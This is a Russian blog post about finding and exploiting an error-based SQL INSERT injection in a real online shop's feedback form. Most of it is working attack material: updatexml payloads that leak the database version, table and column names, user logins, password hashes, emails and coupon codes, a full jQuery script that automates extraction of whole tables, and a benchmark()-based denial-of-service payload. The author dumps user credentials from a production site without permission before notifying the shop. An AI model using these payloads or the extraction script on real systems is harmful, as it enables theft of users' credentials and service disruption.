SQL Insert Injection в одном интернет магазине
Давно на Хабре не звучали истории про SQL injection. А уж рассказов из жизни про SQL INSERT injection вообще очень мало. Поэтому расскажу свою.
Всё началось с моего желания купить себе нечто недешёвое в разборном виде в интернет-магазине A.B. ru фирмы B. После оформления, связи с менеджером по электронной почте, получения посылки и обзора её содержимого оказалось, что некоторых метизов очень не хватает. Полного перечня всего необходимого не было, лишь список болтов, гаек и шайб. Я начал сборку, дойдя до того места, где без отсутствующих болтов уже никак не обойтись. Поэтому мною было скурпулёзно составлено описание не найденных метизов и выслано электронным письмом той же девушке-менеджеру, с которой мы общались. К чести магазина стоит сказать, что практически всё необходимое было выслано второй посылкой. Поэтому я начал сборку, загоняя в дальний угол своего разума опасения о том, что может отсутствовать что-то ещё. Но, дойдя до финишной прямой, оказалось, что примерно ¼-ой часть устройства не хватает в принципе, судя по фотографиям из руководства и здравому смыслу. Поэтому за первым письмом о недокомплекте последовало второе, куда более обширное, а сборка отложена.
Когда прошла вторая неделя ожидания, мне удалось убедить себя в том, что девушка-менеджер вышла в отпуск. Поэтому я переслал ей письмо двухнедельной давности ещё раз и перешёл к поиску других каналов электронной связи — очень уж не хотелось звонить в Москву. В первую очередь тоже самое письмо было отправлено на общий эл-адрес A@B.ru, на что был получен мгновенный ответ: почтовый сервер отказывается принимать письмо из-за переполненного ящика получателя <мужик>@B.ru. Тогда была найдена форма обратной связи на сайте — последняя ниточка соединяющая меня на текущий момент с интернет-магазином. В первую очередь я описал проблему переполненного почтового ящика и вставил сообщение об отказе доставить письмо, которое содержало в себе одинарные кавычки…
Начало
На попытку отправить отчёт об ошибке через форму обратной связи, на пару секунд на странице появилась ошибка, в которой угадывался голос MySQL. Поэтому я открыл консоль браузера, повторил запрос и заглянул в ответ сервера:
Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; at line 1 SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 11:36:37', '', 'Max', '<мой адрес>@gmail.com', '', 'текст, в котором упоминается адрес '<мужика>@B.ru' прямо в одинарных кавычках.', '', '2015-08-04 11:36:37', '0000-00-00 00:00:00', '0');
Итак, найдена SQL insert injection в интернет-магазине, которому я отдал свои кровные.
В первую очередь, я нашёл пару достойных материалов по теме. Самый интересный из них SQL Injection in Insert, Update and Delete Statements (Osanda Malith Jayathissa). Благодаря ему, взгляд упал на функцию updatexml, которая появилась в MySQL 5.1 (т.е. если не сработает, то можно будет сделать соответствующий вывод:
UpdateXML (xml_target, xpath_expr, new_xml)
Смысл использования функции в том, чтобы создать заранее неверный XPath Expression (второй аргумент). Для этого Osanda предлагает делать конкатенацию с символом »~». Что ж, проверяем в локальном MySQL:
mysql> select updatexml(1, '123', 0) from dual;
+------------------------+
| updatexml(1, '123', 0) |
+------------------------+
| NULL |
+------------------------+
1 row in set (0,00 sec)
mysql> select updatexml(1, '~123', 0) from dual;
ERROR 1105 (HY000): XPATH syntax error: '~123'
Да, работает. Теперь формируем тело сообщения для нашего магазина. Первый получившийся запрос выглядел так:
message' or updatexml(1,concat(0x7e,(version())),0) or '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '1');--'
Потом я немного подумал, и сократил его до:
' or updatexml(1,concat(0x7e,(version())),0) or '
Ответ интернет-магазина:
Error displaying the error page: Application Instantiation Error: XPATH syntax error: '~5.5.41-MariaDB-log' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 12:39:12', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(1,concat(0x7e,(version())),0) or '', '', '2015-08-04 12:39:12', '0000-00-00 00:00:00', '0');
Сработало! Всё крутится на MariaDB 5.5. Отличия от MySQL минимальны, версия 5.5 поддерживает множество полезных операторов и функций. Пройдясь по типичным для подобных ситуаций данным, я вытащил следующую информацию:
version: 5.5.41-MariaDB-log
hostname: db-www
user: A@A.B.ru
database: A
Теперь можно попробовать выполнение полноценных SQL-запросов. В первую очередь, ради интереса, я написать такой:
' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '
Но, разумеется, получил отказ:
Error displaying the error page: Application Instantiation Error: SELECT command denied to user 'A'@'A.B.ru' for table 'user' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0', '1', '0', '2015-08-04 14:27:21', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '', '', '2015-08-04 14:27:21', '0000-00-00 00:00:00', '0');
Теперь нужно получить список таблиц в текущей БД. Для этого используем доступную с MySQL 5.0 мета-таблицу information_schema:
' or updatexml(0, concat(0x7e,(SELECT concat(table_schema, ':', table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)), 0) or '
Меняя первый параметр в операторе LIMIT, можно перебрать все текущие таблицы. Меня хватило на
aa:cart
aa:category
aa:includes
aa:items
aa:layout
aa:menu
aa:aabb_ak_profiles
aa:aabb_ak_stats
aa:aabb_ak_storage
aa:aabb_assets
aa:aabb_associations
aa:aabb_banner_clients
aa:aabb_banner_tracks
aa:aabb_banners
aa:aabb_categories
aa:aabb_com_feedback
aa:aabb_com_photo_votes
aa:aabb_com_photo_votes_comment
aa:aabb_com_photo_votes_likes
aa:aabb_com_wishlist
Решаю автоматизировать. Речь идёт об AJAX POST-запросе и на сайте включён jQuery. Нам нужно отправлять сразу несколько запросов — это асинхронная работа, так что я решил сразу подгрузить библиотеку async и попробовать с её помощью получить желаемый список таблиц. Получилась
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');
(function() {
var ans_start = " '~", // Начало полезной информации в ответе сервера
ans_stop = "' SQL=", // Конец полезной информации
lim = 20,
start_from = 0;
// Куча одновременных AJAX-запросов
async.times(lim, function(i, next) {
var injection = "' or updatexml(0, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit "+ (start_from + i) +", 1)), 0) or '";
$.ajax({
url: '/cli/feedback.php',
method: 'POST',
data: $.param({
data_email: 'undefined',
data_email_body: 'undefined',
data_email_subject: 'Обратная связь - A B',
type: 'feedback',
name: 'Test',
mail: 'test@mailinator.com',
phone: '',
feedbacktext: injection,
else: '',
recipient: 'A@B.ru',
btn: ''
}),
success: function(resp) {
next(null, resp.substring(resp.indexOf(ans_start) + ans_start.length, resp.indexOf(ans_stop)));
},
error: function(jqXHR, textStatus) {
next(textStatus);
}
});
}, function(err, results) {
// Все результаты в конце одним скопом
if (err) return console.error(err);
window.INJ_RESULTS = results; // Опытным путём установил, что из консоли браузера не всегда удобно копировать данные, поэтому лучше привязать их к какой-нибудь глобальной переменной для пост-обработки
console.log(results.join('\n')); // Вывод одной строкой во избежание проблем с копированием
});
})();
Таким образом я получил список первых 20 таблиц, но понял, что одновременно посылать множество запросов нехорошо (на последние из них сервер отвечал в течении 20 секунд). Решил, что не стоит угрожать стабильности работы магазина и поменял функцию async.times на async.timesSeries, чтобы каждый следующий запрос отправлялся после получения ответа на предыдущий. Поменял параметр lim с 20 на 200 и ушёл за чашечкой чая. А когда вернулся, в моём распоряжении был
aa:cart
aa:category
<...>
aa:aabb_finder_links
aa:aabb_finder_links_terms0
aa:aabb_finder_links_terms1
<...>
aa:aabb_jcomments_votes
aa:aabb_jsecurelog
aa:aabb_jshopping_addons
<...>
aa:aabb_jshopping_coupons
<...>
aa:aabb_jshopping_shipping_meth
<...>
aa:aabb_jshopping_usergroups
aa:aabb_jshopping_users
<...>
aa:aabb_usergroups
aa:aabb_users
aa:aabb_viewlevels
aa:aabb_weblinks
aa:aabb_wf_profiles
aa:aabb_xmap_items
aa:aabb_xmap_sitemap
aa:modules
aa:orders
aa:oshibka
aa:params
aa:reviews
aa:slideshow
aa:users
Из этого списка стало понятно два факта: стоит Joomla и объем полезной информации ограничен 32-мя символов. Причём первых из них (»~») убрать мы не можем, значит у нас всего 31 символ. Что ж, не так уж мало. Было много интересных таблиц (3 таблицы *users и aabb_jshopping_coupons). Сначала я исследовал структуру таблицы users, модифицируя переменную injection:
' or updatexml(0, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 0) or '
id, login, password, email, tel, name, firma, active, date, role
Потом её содержимое с помощью функции CONCAT_WS:
' or updatexml(0, concat(0x7e,(SELECT CONCAT_WS(':',id,login,password) FROM users LIMIT 0,1)), 0) or '
Но каждая запись получалась длинной ровно в 31 символ из-за избытка информации, поэтому сначала нужно было преодолеть это ограничение. Для этого я решил воспользоваться функцией SUBSTRING, а получение новой порции данных реализовать через рекурсию. В итоге получился
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');
// Константы, чтобы потом легче было
var ANS_START = " '~",
ANS_STOP = "' SQL=",
ANS_ERR = "Er",
ANS_LIM = 31;
// Основная функция
// start_from и lim для путешествия по строчкам таблицы
// construct_req - функция, возвращающая строку с запросом
function ajax93t411(start_from, lim, construct_req) {
// значения по умолчанию ня всякий случай
start_from = start_from || 0;
lim = lim || 1;
// Запрос к серверу. i, offset - просто передаются в construct_req
function req(i, offset, callback) {
$.ajax({
url: '/cli/feedback.php',
method: 'POST',
data: $.param({
data_email: 'undefined',
data_email_body: 'undefined',
data_email_subject: 'Обратная связь - A B',
type: 'feedback',
name: 'Test',
mail: 'test@mailinator.com',
phone: '',
feedbacktext: construct_req(start_from, i, offset),
else: '',
recipient: 'A@B.ru',
btn: ''
}),
success: function(resp) {
callback(null, resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP)));
},
error: function(jqXHR, textStatus) {
callback(textStatus);
}
});
}
// Если длина ответа получается равна 31, то делаем смещение и
// ещё один запрос, суммируя результаты
function constructReq(i, full_answer, offset, next) {
req(i, offset, function(err, answer) {
if (err) return next(err, full_answer);
full_answer += answer;
if (answer.length == ANS_LIM) {
constructReq(i, full_answer, offset + ANS_LIM, next);
} else {
next(null, full_answer);
}
});
}
// Путешествуем по заданному количеству строк таблицы
async.timesSeries(lim, function(i, next) {
constructReq(i, '', 1, next);
}, function(err, results) {
if (err) return console.error(err);
window.INJ_RESULTS = results;
console.log(results.join(', '));
});
}
По такому алгоритму данные будут вытягиваться ещё дольше, зато целиком и полностью. Теперь можно создавать сами запросы отдельно от общей логики:
function inj(start_from, i, offset) {
return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',id,login,password,email), "+ offset +", "+ ANS_LIM +") FROM users LIMIT "+ (start_from + i) +",1)), 0) or '"
}
ajax93t411(0, 30, inj)
И первые 30 строк таблицы users в консоли браузера.
function inj(start_from, i, offset) {
return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',username,email,password), "+ offset +", "+ ANS_LIM +") FROM aabb_users LIMIT "+ (start_from + i) +",1)), 0) or '"
}
ajax93t411(0, 30, inj)
Далее опишу лишь наиболее интересные моменты.
Купоны, в т.ч. для Хабра и Гиктаймс, оказались просроченными. Да и свою игрушку я уже купил.
function inj(start_from, i, offset) {
return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',coupon_code,coupon_value,coupon_start_date,coupon_expire_date), "+ offset +", "+ ANS_LIM +") FROM aabb_jshopping_coupons LIMIT "+ (start_from + i) +",1)), 0) or '"
}
ajax93t411(0, 30, inj)
Все таблицы в полную длину для всех доступных баз данных:
function inj(start_from, i, offset) {
return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':', table_schema, table_name), "+ offset +", "+ ANS_LIM +") FROM information_schema.tables LIMIT "+ (start_from + i) +", 1)), 0) or '"
}
ajax93t411(62, 100, inj); // Первые 62 - это сама information_schema
ajax93t411(162, 100, inj);
Как оказалось, не только интернет-магазин A.B. ru работает на Joomla, но и такой же магазин B.ru на ней же и на том же сервере. Но перспектив от исследования ещё одного сайта я не увидел. В конце концов, моей целью не было получение наживы. Поэтому я решил, что читать данные хорошо, но…
Можно ли что-нибудь записать?
Как оказалось, нет. Так как нам доступны только подзапросы. Решил, что стоит всё же попробовать работу с файлами. Но чтобы не навредить интернет-магазину своими неосторожными действиями, перенесу повествование на собственную машину, где провёл
mysql> create database test;
Query OK, 1 row affected (0,06 sec)
mysql> create table t(id int, msg text);
Query OK, 0 rows affected (0,70 sec)
mysql> insert into t values (1, 'msg');
Query OK, 1 row affected (0,06 sec)
mysql> select * from t;
+------+------+
| id | msg |
+------+------+
| 1 | msg |
+------+------+
1 row in set (0,00 sec)
Попробуем имитировать SQL insert injection:
mysql> insert into t values (1, '' or updatexml(1, concat('~', version()), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~5.6.25-0ubuntu0.15.04.1'
mysql> insert into t values (1, '' or updatexml(1, concat('~', '1234567890123456789012345678901234567890'), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~1234567890123456789012345678901'
То же самое ограничение в 32 символа.
Попробуем вывод в файл:
mysql> select 1 from dual into outfile 'test.txt';
Query OK, 1 row affected (0,00 sec)
$ sudo ls -la /var/lib/mysql/test/
итого 124
drwx------ 2 mysql mysql 4096 авг. 11 18:07 .
drwx------ 12 mysql mysql 4096 авг. 11 17:50 ..
-rw-rw---- 1 mysql mysql 65 авг. 11 17:50 db.opt
-rw-rw-rw- 1 mysql mysql 2 авг. 11 18:07 test.txt
-rw-rw---- 1 mysql mysql 8584 авг. 11 17:52 t.frm
-rw-rw---- 1 mysql mysql 98304 авг. 11 17:52 t.ibd
mysql> insert into t values (1, '' or updatexml(1, concat('~', (select 1 from dual into outfile 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile 'test.txt')), 0) or '')' at line 1
Ожидаемо, но проверить стоило. Попробуем чтение файла. Так оно выглядит в нормальном виде:
mysql> LOAD DATA INFILE 'test.txt' into table t;
Query OK, 1 row affected, 1 warning (0,08 sec)
Records: 1 Deleted: 0 Skipped: 0 Warnings: 1
mysql> select * from t;
+------+------+
| id | msg |
+------+------+
| 1 | msg |
| 1 | NULL |
+------+------+
2 rows in set (0,00 sec)
Но внутри INSERT INTO тоже не работает:
mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt' into table t)), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt' into table t)), 0) or '')' at line 1
mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt')), 0) or '')' at line 1
В любом случае, применительно к интернет-магазину, полные пути к сайту мне неизвестны, чтобы, например, создать PHP Shell.
Написал в интернет-магазин
Случайно обнаружил ошибку на вашем сайте.
Страница A.B. ru/info/about, форма обратной связи.
Если заполнить имя и e-mail, а в теле сообщения использовать символ одинарной кавычки ('), то после нажатия на «Отправить» на экране на некоторое время будет выведена ошибка от используемой СУБД. Если вчитаться и откорректировать текст сообщения, то можно получить любую хранящуюся в БД информацию.
Предлагаю как можно скорее исправить ошибку, проверить все написанные программистом модули/страницы на наличие подобных проблем и закрыть данный источник проблем.
Получил
Спасибо за Ваше замечание, учтём
С уважением,
A B
Подумав, отправил
Если не возражаете, я бы описал свой «спортивный интерес» в статье без ссылок прямых и косвенных на сайт и фирму, разумеется. Сообщите пожалуйста, когда проблема будет исправлена, на всякий случай.
День следующий
Ответа на второе письмо нет. Ну и ладно. Ровно через сутки зашёл на ту же страницу с формой обратной связи. Теперь в поле ввода фильтруются все спец. символы, разумеется, на стороне клиента. Что ж, молодцы, остаётся надеяться, что это просто заплатка на время исправления реальных ошибок. А пока решил продолжить исследования — хочется разобраться до конца.
Как оказалось, полезная часть текста об ошибке в ответе от MariaDB не всегда 32 символа. При попытке получить текст на русском получается выудить лишь 16 символов. Проверил на MySQL — то же самое. Значит, ограничение не в 32 символа, а в 32 байта. Что ж, переделал утилиту ajax93t411:
var ANS_START = " '~",
ANS_STOP = "' SQL=",
ANS_LIM = 31;
function ajax93t411(start_from, lim, construct_req) {
start_from = start_from || 0;
lim = lim || 1; // Can be -1. -1 if for "while no Err"
function req(i, offset, callback) {
$.ajax({
//-- All this params is for customization. Feel free
url: '/cli/feedback.php',
method: 'POST',
data: $.param({
data_email: 'undefined',
data_email_body: 'undefined',
data_email_subject: 'Обратная связь - A B',
type: 'feedback',
name: 'Test',
mail: 'test@mailinator.com',
phone: '',
feedbacktext: construct_req(start_from, i, offset), // Don't forget about this function to include
else: '',
recipient: 'A@B.ru',
btn: ''
}
//---
),
success: function(resp) {
var answer = resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP));
if (answer == ANS_ERR) {
callback(answer);
} else {
callback(null, answer);
}
},
error: function(jqXHR, textStatus) {
callback(textStatus);
}
});
}
function constructReq(i, full_answer, offset, next) {
req(i, offset, function(err, answer) {
if (err) return next(err, full_answer);
full_answer += answer;
if (answer.length > 0) {
constructReq(i, full_answer, offset + answer.length, next);
} else {
$('body').append(''+ full_answer +'
'); // Include each new result into webpage of target site. Just for usability.
next(null, full_answer);
}
});
}
function timesSeries(lim, i, results, callback) {
if (i < lim) {
constructReq(i, '', 1, function(err, answer) {
if (err) return callback(err, results);
results.push(answer);
timesSeries(lim, i + 1, results, callback);
});
} else {
callback(null, results);
}
}
function untilErrSeries(i, results, callback) {
constructReq(i, '', 1, function(err, answer) {
if (err) return callback(err, results);
results.push(answer);
untilErrSeries(i + 1, results, callback);
});
}
function complete(err, results) {
if (err) console.error(err);
window.INJ_RESULTS = results; // Keep all results into the global variable. Just for usability.
console.log('Done');
}
$('body').append('New Request!
');
if (lim > 0) {
timesSeries(lim, 0, [], complete);
} else { // lim < 0
untilErrSeries(0, [], complete);
}
}
Теперь программа не зависит от константной длины, а продолжает искать конец строки, пока не будет возвращена ошибка (т.е. ответ с текстом ошибки не в том формате, в котором программа его ожидает). Да, чуть больше запросов. Зато нет проблемы с текстами в не latin кодировках. Кроме того, избавился от зависимости от библиотеки async (она присутствовала для скорости разработки и апробирования результатов). А так же добавил возможность не задавать конкретное количество строк в таблице, которые нужно получить, а рекурсивно получать все доступные (до ошибки). А так же добавил вывод результатов работы прямо на страницу сайта, чтобы легче было просматривать.
Возможны ли ужасные последствия такой уязвимости?
Как мы уже выяснили, записать что-то в файл или читать из него не получится даже если у пользователя есть на то права. Зато у нас в кармане таблицы с паролями и эл. адресами всех пользователей и администраторов. Лично я подбирать их и входить на сайт даже не пытался — мне это ни к чему. Тем не менее, можно констатировать факт возможности чтения любой информации из текущей базы данных, а в нашем случае и из соседней.
Другая открываемая подобной уязвимость возможность — это атака DoS, например, вот такой подстановкой:
' or updatexml(0, concat(0x7e,(select benchmark(10000000000000000000000000000000000000000000000, encode('hello', 'world')))), 0) or '
Через неделю
Решил написать
Вы же понимаете, что текущая заплатка не устраняет уязвимости?
Ответа как и раньше не последовало.
P.S.: Статья опубликована через 13 дней с момента обнаружения уязвимости. Представители интернет-магазина на связь не выходят.